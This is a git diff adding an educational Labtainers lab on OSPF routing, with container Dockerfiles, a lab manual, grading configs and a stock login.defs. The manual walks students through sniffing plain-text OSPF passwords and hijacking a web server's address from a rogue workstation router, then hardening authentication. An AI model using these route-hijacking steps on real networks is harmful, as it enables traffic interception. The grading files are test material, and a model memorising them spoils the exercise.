b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.tap.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.tap +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w1.student new file mode 100644 index 000000000..ae59c1c85 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w2.student new file mode 100644 index 000000000..ae59c1c85 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w3.student new file mode 100644 index 000000000..eaa0c8af1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.w3.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.bird +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN systemctl disable bird + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.wx.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.wx.student new file mode 100644 index 000000000..b9f28b599 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/dockerfiles/Dockerfile.bird-ospf.wx.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN systemctl enable httpserver +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/Makefile new file mode 100644 index 000000000..01a965881 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/Makefile @@ -0,0 +1,7 @@ +bird-ospf.pdf: bird-ospf.tex header.tex + pdflatex -jobname=bird-ospf bird-ospf + pdflatex -jobname=bird-ospf bird-ospf + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.pdf new file mode 100644 index 000000000..64a5b62a8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.tex new file mode 100644 index 000000000..bad6a3561 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/bird-ospf.tex @@ -0,0 +1,143 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Routing: Open Shortest First Path} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This exercise introduces the Open Shortest First Path (OSPF) routing protocol, +allowing students to configure OSPF-enabled routers and view their behavior. +The student will use OSPF to spoof routing tables, leading to malicious mis-routing +of traffic. + +OSPF is an internal gateway protocol (IGP). The {\tt bird-bgp} lab explored the +Border Gateway Protocol (BGP), which is an external gateway protocol (EGP) used within the +Internet backbone, e.g., between ISPs. +This lab uses routers running the Bird service, which is an open source Linux-based router +implementation. + +\subsection{Background} +This exercise assumes the student has received instruction on functions +of network routers, and OSPF. +It is also assumed that the student is familiar with basic Linux routing, e.g., as explored in the +routing-basics and routing-basics2 labs. +There are a number of web-based resources describing OSPF. Note however that many focus on Cisco +command line syntax and semantics. Look for tutorials that explain concepts and not just rote +steps needed to pass a certification. + +This lab exercise only touches on some of the most basic elements of OSPF. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer bird-ospf +\end{verbatim} +A link to this lab manual will be displayed, along with a link to the Bird router +user guide. + +\section{Lab topology} +The lab presents a simplified topology that includes of routers implementing OSPF within an Autonomous System (AS). + +In Figure \ref{fig:topology}, all of the components except those labeled \textit {External} are within one AS. +The {\tt BR} router is the border router for the AS. The {\tt BRX} router is the border router for the +notional external system. The external system includes a web server, labeled {\tt WX}. +In addition to three internal routers, the AS has one server and three workstations. + +The routers exchange routing information and traffic over the point-to-point ethernet +links. Each such link has a network tap that forwards copies of traffic to the {\tt netmon} component (not pictured), +which collects network traffic in files within its {\tt /taps} directory. + +This lab primarily names computers using IP addresses. Use of DNS is deliberately avoided to keep the focus on routing. + +\begin{figure}[H] +\begin{center} +\includegraphics [width=0.8\linewidth]{topo.png} +\end{center} +\caption{OSPF Routing Topology} +\label{fig:topology} +\end{figure} + +\section{Tasks} + +\subsection{Explore} +The following items (among other), are available to explore the network: +\begin{itemize} +\item Wireshark and tcpdump are installed on the {\tt netmon} computer, use them to review the PCAP files found in +the {\tt /taps} directory. When using Wireshark, if you encounter black or otherwise corrupt pulldown windows, try resizing the window, +or restarting the application. The {\tt ctrl-r} key sequence will cause Wireshark to reload the PCAP file that is +currently being viewed, i.e., to see the latest traffic. +\item The {\tt traceroute} program is install on each computer (all components other than routers). +Use that to observe the routes that traffic may take between different computers. +\item Each router includes the Bird client, which you can start using {\tt sudo birdc}. Use it to view routes and +protocol definitions. Bird is configured via use of configuration files found at {\tt /usr/local/etc/bird.conf}. +The bird service runs under systemd. If you modify a configuration file, you may rstart bird using {\tt systemctl restart +bird}. The remaining tasks of this lab assume the bird.conf files on each router have not been modified. If you do modify +those, either restore them, or restart that lab (using the {\tt -r} option on the {\tt labtainer} command prior to proceeding +to next steps. + +\end{itemize} + +\subsection{Confirm connectivity} +Use the {\tt ifconfig} command (or {\tt ip addr}) to determine IP addresses of the different computers. +You should be able to ping any computer from any other. You should also be able to use {\tt wget} to retrieve the index.html +file from the WX web server. + +\subsection{Review authentication} +Look at the {\tt bird.conf} files and determine the type of authentication used for the OSPF protocol. +Then use Wireshark on the {\tt netmon} computer and find the plain text passwords exchanged by the routers. + +\subsection{Hijack the WX address} +Assume you are a hostile user of the W3 workstation, and you would like to intercept traffic bound for the WX web server +and replace it with your own. In this step, assume you have no access to the individual routers and have not seen +their configuration files. + +Playing the role of a potential victim at the W1 computer, use the {\tt wget} command on the {\tt W1} +computer to retrieve the default web page from WX and view its content. +Use {\tt traceroute} to confirm your expectation of the route those packets will follow. + +Now, by only accessing W3 -- without directly modifying configuration files or Linux routes on any router -- hijack traffic destined +for WX and route it to a web server running on W3. Then confirm your change by going to W1 and repeating the {\tt wget} and +observe the new web content. + +The following are offered as hints: +\begin{itemize} +\item The W3 computer contains the bird service. It can be started by running {\tt sudo bird}. +\item The loopback device on W3 ({\tt lo} can be assigned alternate IP addresses using +\begin{verbatim} + ip addr add dev lo +\end{verbatim} +\item IP packets entering W3 can be routed to the loopback device using +\begin{verbatim} + route add dev lo +\end{verbatim} +\item The W3 computer contains a simple web server program that can be started using +\begin{verbatim} + sudo ./MyHTTPServer.py +\end{verbatim} + +\end{itemize} +Too receive credit for the lab, you must use wget on W1 to retrieve the bogus web resource from W3, using the IP address of WX. + +\subsection{Improve authentication} +Modify the router configuration files such that passwords discovered in network traffic cannot be used to corrupt +routing tables. Confirm your work by restarting each router and pinging W1 from WX. +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/header.tex new file mode 100644 index 000000000..041ae038d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/header.tex @@ -0,0 +1,120 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/read_first.txt new file mode 100644 index 000000000..49e0363bf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/read_first.txt @@ -0,0 +1,10 @@ +Routing: Open Shortest Path First Protocol -- Read this first + +The lab manual for this lab is at: + file://LAB_MANUAL +The Bird router user guide is at: + file://LAB_DOCS/bird.pdf + + +Review the entire lab manual before proceeding with the lab. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.odg new file mode 100644 index 000000000..ebcc9a6bc Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.png b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.png new file mode 100644 index 000000000..3e7fc690c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/docs/topo.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/goals.config new file mode 100644 index 000000000..ef54ca2f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/goals.config @@ -0,0 +1,6 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#didit_b = boolean : ( log-from-w1 and wget-w1 ) +# DOC: wget from w1 to wx was routed to w3 +didit = time_during : log-from-w1 : wget-w1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/results.config new file mode 100644 index 000000000..cfa0a7d9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# Time stamp of log entry containing IP address +log-from-w1 = w3:/var/log/myhttplogfile.txt : LOG_TS : 202.25.4.2 +# Use of wget -- will result in time stamp range: start-finish +wget-w1 = w1:wget.stdin : CONTAINS : 203.22.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum 